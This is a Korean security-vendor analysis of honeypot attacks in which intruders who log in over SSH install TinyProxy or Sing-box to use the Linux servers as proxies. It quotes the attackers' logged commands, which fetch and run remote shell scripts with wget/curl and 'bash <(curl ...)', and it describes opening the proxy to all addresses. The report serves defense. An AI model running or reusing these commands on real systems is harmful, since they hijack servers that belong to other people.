프록시를 설치하는 리눅스 SSH 서버 대상 공격 사례 분석
AhnLab SEcurity intelligence Center(ASEC)에서는 허니팟을 활용해 부적절하게 관리되고 있는 리눅스 서버를 대상으로 한 공격을 모니터링하고 있다. 대표적인 허니팟 중에는 취약한 자격 증명 정보를 사용하는 SSH 서비스가 있으며 많은 수의 DDoS 및 코인 마이너 공격자들이 이러한 시스템을 공격 대상으로 하고 있다.
ASEC에서는 외부에서 유입되는 다수의 공격을 모니터링하던 중 최근 리눅스 서버를 공격해 프록시를 설치하는 사례들을 확인하였다. 각각의 공격 사례들에서는 TinyProxy나 Sing-box를 설치하였는데 이를 제외한 다른 공격 로그가 존재하지 않는 것을 보면 공격자들의 목적은 감염 시스템을 프록시 노드로서 활용하기 위한 것으로 보인다.
1. TinyProxy 설치 사례
공격자는 허니팟 리눅스 서버에 로그인을 시도하였으며 성공한 이후에는 다음 명령으로 Bash 악성코드를 다운로드해 실행하였다.
| # (wget -O s.sh hxxps://0x0[.]st/8VDs.sh || curl -o s.sh hxxps://0x0[.]st/8VDs.sh) && chmod +x s.sh && sh s.sh |

Figure 1. 폴란드어 주석이 포함된 악성 Bash 스크립트
Bash 스크립트는 먼저 운영체제 환경에 맞게 apt, yum, dnf를 이용해 TinyProxy를 설치한다. 이후 설정 파일을 조작해 외부에서 접속이 가능하도록 한 후 지속성을 유지시킨다.

Figure 2. TinyProxy 설정 및 지속성 유지 루틴
구체적으로 TinyProxy의 설정 파일인 “/etc/tinyproxy/tinyproxy.conf” 또는 “/etc/tinyproxy.conf”에서 Allow 및 Deny로 시작하는 접근 제어 규칙을 삭제한 후 “Allow 0.0.0.0/0” 규칙을 추가한다. 해당 규칙은 외부에서 제한 없이 접근 가능하도록 하며 이에 따라 공격자는 TinyProxy가 서비스하는 포트인 8888번에 접근해 감염 시스템을 프록시로 악용할 수 있다.

Figure 3. 주석 처리 및 삽입된 TinyProxy 설정
2. Sing-box 설치 사례
다음으로 Sing-box라는 이름의 프록시 도구를 설치하는 공격 사례이다. 공격자는 다음과 같은 명령으로 Sing-box를 설치하였다.
| # ls # whoami # sudo su # apt # bash # sudo apt # lscpu # free -h # clear # cat /etc/os-release # sudo apt-get update # sudo -s # head -n 1 /etc/issue # uname -a # which curl # which python3 # ls /usr/bin | grep python # bash <(curl -Ls hxxps://raw.githubusercontent[.]com/eooce/sing-box/main/sing-box.sh) # bash 1 # bah # curl # curl -fsSL hxxps://raw.githubusercontent[.]com/eooce/ssh_tool/main/ssh_tool.sh -o ssh_tool.sh && chmod +x ssh_tool.sh && ./ssh_tool.sh # curl –help # curl -L hxxps://raw.githubusercontent[.]com/eooce/ssh_tool/main/ssh_tool.sh -o ssh_tool.sh # which wget # wget hxxps://raw.githubusercontent[.]com/eooce/ssh_tool/main/ssh_tool.sh -O ssh_tool.sh |
Sing-box는 다목적 프록시를 설치하는 도구로서 vmess-argo, vless-reality, Hysteria2, TUICv5 프로토콜을 지원한다. 깃허브 설명에 따르면 해당 오픈 소스를 설치하여 ChatGPT 및 Netflix의 차단을 해제할 수 있다. 참고로 제작자는 이러한 서비스를 사용할 수 없는 국가가 존재하기 때문에 차단을 우회하기 위한 목적으로 Sing-box를 제작한 것으로 보인다. 즉 해외에 위치한 가상 사설 서버(VPS)에 Sing-box를 설치하여 이를 프록시로 이용할 경우 Sing-box가 지원하는 네 가지 우회 프로토콜을 활용해 해당 서비스를 이용할 수 있다. 하지만 이번 사례에서는 타인의 시스템에 무단으로 접속하여 이를 설치하였으며 공격자 자신이 불법적으로 사용하거나 금전적 수익이 목적인 것으로 보다.

Figure 4. Sing-box 깃허브 페이지
3. 결론
최근 부적절하게 관리되고 있는 리눅스 서버를 대상으로 프록시를 설치하는 사례가 확인되고 있다. 프록시 기능을 담당하는 악성코드가 아닌 TinyProxy 같은 정상 도구나 Sing-box처럼 정상적으로 사용할 수 있는 오픈 소스 도구를 악용하는 방식이 특징이다. 공격자는 감염 시스템을 프록시로 활용하여 또 다른 공격 사례에서 자신을 은폐하거나 해당 프록시 노드에 대한 접근 권한을 판매하여 범죄 수익을 올릴 수 있다.
이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 공개되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.